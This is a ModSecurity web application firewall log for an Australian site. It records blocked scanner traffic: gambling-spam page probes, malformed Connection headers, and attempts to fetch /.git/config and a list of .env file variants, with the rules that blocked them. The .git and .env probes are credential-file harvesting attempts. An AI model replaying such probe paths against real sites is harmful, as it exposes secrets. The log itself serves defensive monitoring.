[Sun May 17 03:08:44.868291 2026] [:error] [pid 24867:tid 24887] [client 65.108.2.171:37638] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "agjAvCDgFLCgyKq-zmYo7AAAAAY"]
[Sun May 17 03:08:47.398426 2026] [:error] [pid 24979:tid 24996] [client 65.108.2.171:37650] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "agjAv7vSFUQiwLaOL2rM0AAAAM8"]
[Sun May 17 03:08:50.034553 2026] [:error] [pid 5602:tid 5614] [client 65.108.2.171:37664] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "agjAwtzTTsu77r3UIslO7AAAAQo"]
[Sun May 17 03:09:39.343755 2026] [:error] [pid 62341:tid 62353] [client 65.108.2.171:20858] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "agjA86nvQ59ep-XG78je1QAAAoc"]
[Sun May 17 03:09:42.007946 2026] [:error] [pid 5602:tid 5612] [client 65.108.2.171:20860] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "agjA9tzTTsu77r3UIslO7wAAAQg"]
[Sun May 17 03:09:44.618855 2026] [:error] [pid 61463:tid 61479] [client 65.108.2.171:20864] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "agjA-DXdL1WU7nYXPmQJvwAAAc4"]
[Sun May 17 03:09:47.178767 2026] [:error] [pid 62210:tid 62230] [client 65.108.2.171:30834] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "agjA-8jHonCA4ORo40Hk3AAAAlI"]
[Sun May 17 03:09:49.738708 2026] [:error] [pid 24979:tid 24988] [client 65.108.2.171:30844] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "agjA_bvSFUQiwLaOL2rNOwAAAMc"]
[Sun May 17 03:09:52.246716 2026] [:error] [pid 24867:tid 24890] [client 65.108.2.171:30850] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "agjBACDgFLCgyKq-zmYo8AAAAAk"]
[Sun May 17 03:09:54.732855 2026] [:error] [pid 24869:tid 24932] [client 65.108.2.171:30864] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "agjBAuxo3FMprMltYl5IpgAAAFg"]
[Sun May 17 03:09:57.347907 2026] [:error] [pid 24979:tid 24981] [client 65.108.2.171:33158] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "agjBBbvSFUQiwLaOL2rNPAAAAMA"]
[Sun May 17 04:35:33.861882 2026] [:error] [pid 59061:tid 59115] [client 43.153.73.200:36534] [client 43.153.73.200] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "agjVFYYS410zAmsYkoLr9QAAAFM"]
[Sun May 17 06:22:54.975408 2026] [:error] [pid 59166:tid 59170] [client 74.7.242.23:57532] [client 74.7.242.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.7.242.23, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agjuPk_puQ1I47_0UriwVQAAAMI"], referer: https://vetstars.com.au/
[Sun May 17 06:33:55.907148 2026] [:error] [pid 17234:tid 17255] [client 51.77.218.189:55324] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/789%20slot.aspx"] [unique_id "agjw09J4QOrYRCeDR2j0oQAAAVM"]
[Sun May 17 06:33:59.335014 2026] [:error] [pid 17234:tid 17241] [client 51.77.218.189:51580] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/888%20slot.aspx"] [unique_id "agjw19J4QOrYRCeDR2j0qQAAAUU"]
[Sun May 17 06:34:02.118592 2026] [:error] [pid 17234:tid 17256] [client 51.77.218.189:51596] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/all%20slot.aspx"] [unique_id "agjw2tJ4QOrYRCeDR2j0rgAAAVQ"]
[Sun May 17 06:34:04.636008 2026] [:error] [pid 59062:tid 59138] [client 51.77.218.189:46654] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/allslot%20wallet.aspx"] [unique_id "agjw3D4V9GkVWmCFmGa-bgAAAI8"]
[Sun May 17 06:34:07.461709 2026] [:error] [pid 17234:tid 17254] [client 51.77.218.189:46682] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amb%20superslot.aspx"] [unique_id "agjw39J4QOrYRCeDR2j0swAAAVI"]
[Sun May 17 06:34:09.946071 2026] [:error] [pid 36652:tid 36656] [client 51.77.218.189:46684] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "agjw4TZrzQadnZADvj8V5wAAAQI"]
[Sun May 17 06:34:12.435591 2026] [:error] [pid 36652:tid 36674] [client 51.77.218.189:46694] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "agjw5DZrzQadnZADvj8V6gAAARQ"]
[Sun May 17 06:34:14.966924 2026] [:error] [pid 36652:tid 36658] [client 51.77.218.189:38592] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "agjw5jZrzQadnZADvj8V7QAAAQQ"]
[Sun May 17 06:34:17.480069 2026] [:error] [pid 59062:tid 59123] [client 51.77.218.189:38606] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "agjw6T4V9GkVWmCFmGa-dAAAAIA"]
[Sun May 17 06:34:19.837308 2026] [:error] [pid 59166:tid 59184] [client 51.77.218.189:38612] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "agjw60_puQ1I47_0UriyawAAANA"]
[Sun May 17 06:34:22.667162 2026] [:error] [pid 59166:tid 59173] [client 51.77.218.189:38636] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "agjw7k_puQ1I47_0UriybgAAAMU"]
[Sun May 17 06:34:25.189113 2026] [:error] [pid 59062:tid 59143] [client 51.77.218.189:39630] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "agjw8T4V9GkVWmCFmGa-eAAAAJQ"]
[Sun May 17 06:34:27.701768 2026] [:error] [pid 59166:tid 59182] [client 51.77.218.189:39638] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "agjw80_puQ1I47_0UriydAAAAM4"]
[Sun May 17 06:34:30.080715 2026] [:error] [pid 17234:tid 17249] [client 51.77.218.189:39652] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "agjw9tJ4QOrYRCeDR2j0vQAAAU0"]
[Sun May 17 06:34:32.541838 2026] [:error] [pid 36652:tid 36669] [client 51.77.218.189:39664] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "agjw-DZrzQadnZADvj8V7gAAAQ8"]
[Sun May 17 06:34:34.897457 2026] [:error] [pid 17234:tid 17246] [client 51.77.218.189:49418] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "agjw-tJ4QOrYRCeDR2j0wwAAAUo"]
[Sun May 17 06:34:37.364774 2026] [:error] [pid 17234:tid 17242] [client 51.77.218.189:49420] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "agjw_dJ4QOrYRCeDR2j0xQAAAUY"]
[Sun May 17 06:34:39.705349 2026] [:error] [pid 36652:tid 36670] [client 51.77.218.189:49422] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "agjw_zZrzQadnZADvj8V9gAAARA"]
[Sun May 17 06:34:42.187408 2026] [:error] [pid 59060:tid 59076] [client 51.77.218.189:49428] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "agjxAvvwvq3bndkPE4nHGQAAAAc"]
[Sun May 17 06:34:44.698976 2026] [:error] [pid 36652:tid 36674] [client 51.77.218.189:41254] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "agjxBDZrzQadnZADvj8V-wAAARQ"]
[Sun May 17 06:34:47.173843 2026] [:error] [pid 59060:tid 59072] [client 51.77.218.189:41262] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "agjxB_vwvq3bndkPE4nHGgAAAAM"]
[Sun May 17 06:34:49.533728 2026] [:error] [pid 59166:tid 59170] [client 51.77.218.189:41266] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "agjxCU_puQ1I47_0UriyewAAAMI"]
[Sun May 17 06:34:51.846412 2026] [:error] [pid 36652:tid 36678] [client 51.77.218.189:41270] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "agjxCzZrzQadnZADvj8WAQAAARg"]
[Sun May 17 09:38:16.373172 2026] [:error] [pid 17234:tid 17257] [client 122.51.236.174:59304] [client 122.51.236.174] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "agkcCNJ4QOrYRCeDR2gV6AAAAVU"]
[Sun May 17 10:52:10.843415 2026] [:error] [pid 36652:tid 36678] [client 43.135.36.201:59430] [client 43.135.36.201] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "agktWjZrzQadnZADvj83iQAAARg"]
[Sun May 17 11:12:27.767176 2026] [:error] [pid 17234:tid 17254] [client 92.118.39.29:45178] [client 92.118.39.29] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "agkyG9J4QOrYRCeDR2gnRgAAAVI"]
[Sun May 17 13:03:23.314029 2026] [:error] [pid 59062:tid 59129] [client 192.96.159.129:63848] [client 192.96.159.129] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aglMGz4V9GkVWmCFmGbgSgAAAIY"]
[Sun May 17 14:00:53.881665 2026] [:error] [pid 10835:tid 10884] [client 43.156.204.134:47244] [client 43.156.204.134] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aglZlUk8lW0-dtknLl_4GgAAAgs"]
[Sun May 17 16:09:33.299808 2026] [:error] [pid 59166:tid 59190] [client 43.128.87.4:59058] [client 43.128.87.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "agl3vU_puQ1I47_0UrjkIQAAANY"]
[Sun May 17 19:03:14.853611 2026] [:error] [pid 59061:tid 59100] [client 43.166.255.122:35266] [client 43.166.255.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "agmgcoYS410zAmsYkoIm6QAAAEQ"]
[Sun May 17 20:40:33.200363 2026] [:error] [pid 10835:tid 10891] [client 34.97.4.159:51380] [client 34.97.4.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "agm3QUk8lW0-dtknLl8osAAAAhI"]
[Sun May 17 20:40:35.109660 2026] [:error] [pid 11079:tid 11124] [client 34.97.4.159:48274] [client 34.97.4.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "agm3Q2eR3-DrxhvUqxH3qQAAAlQ"]
[Sun May 17 20:40:35.598108 2026] [:error] [pid 11079:tid 11122] [client 34.97.4.159:48286] [client 34.97.4.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.local"] [unique_id "agm3Q2eR3-DrxhvUqxH3qgAAAlI"]
[Sun May 17 20:40:36.091503 2026] [:error] [pid 59061:tid 59098] [client 34.97.4.159:48296] [client 34.97.4.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.production"] [unique_id "agm3RIYS410zAmsYkoItEgAAAEI"]
[Sun May 17 20:40:36.579400 2026] [:error] [pid 11079:tid 11128] [client 34.97.4.159:48310] [client 34.97.4.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.staging"] [unique_id "agm3RGeR3-DrxhvUqxH3rAAAAlg"]
[Sun May 17 20:40:37.068455 2026] [:error] [pid 17234:tid 17260] [client 34.97.4.159:48318] [client 34.97.4.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.development"] [unique_id "agm3RdJ4QOrYRCeDR2hdUAAAAVg"]
[Sun May 17 20:40:37.560227 2026] [:error] [pid 10835:tid 10886] [client 34.97.4.159:48328] [client 34.97.4.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.test"] [unique_id "agm3RUk8lW0-dtknLl8osgAAAg0"]
[Sun May 17 20:40:38.049571 2026] [:error] [pid 59062:tid 59135] [client 34.97.4.159:48336] [client 34.97.4.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.remote"] [unique_id "agm3Rj4V9GkVWmCFmGYj8QAAAIw"]
[Sun May 17 20:40:38.539604 2026] [:error] [pid 59062:tid 59130] [client 34.97.4.159:48348] [client 34.97.4.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.bak"] [unique_id "agm3Rj4V9GkVWmCFmGYj8gAAAIc"]
[Sun May 17 20:40:39.025447 2026] [:error] [pid 59062:tid 59141] [client 34.97.4.159:48352] [client 34.97.4.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.backup"] [unique_id "agm3Rz4V9GkVWmCFmGYj9QAAAJI"]
[Sun May 17 20:40:39.514104 2026] [:error] [pid 36652:tid 36678] [client 34.97.4.159:48366] [client 34.97.4.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.save"] [unique_id "agm3RzZrzQadnZADvj9akgAAARg"]
